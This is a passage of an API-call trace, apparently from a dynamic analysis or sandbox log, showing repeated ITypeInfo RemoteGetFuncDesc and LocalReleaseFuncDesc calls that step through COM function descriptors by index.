ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x90, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x91, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x92, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x93, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x94, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x95, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x96, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x97, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x98, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x99, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa0, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa1, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa2, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa3, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa4, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa5, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa6, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa7, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa8, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa9, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaa, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xab, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xac, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xad, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xae, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaf, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb0, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb1, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb2, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb3, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb4, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb5, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb6, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb7, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.556] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb8, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb9, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xba, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbb, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbc, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbd, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbe, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbf, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc0, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc1, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc2, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc3, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc4, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc5, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc6, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc7, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc8, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc9, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xca, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcb, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcc, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcd, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xce, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcf, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.557] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.557] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd0, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd1, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd2, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd3, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd4, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd5, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd6, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd7, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd8, ppFuncDesc=0x1271f8, pDummy=0x140 | out: ppFuncDesc=0x1271f8, pDummy=0x140) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd9, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xda, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdb, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdc, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdd, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xde, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdf, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe0, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe1, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe2, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe3, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe4, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe5, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe6, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe7, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.558] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.558] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe8, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe9, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xea, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xeb, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xec, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xed, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xee, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xef, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf0, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf1, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.559] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf2, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.559] 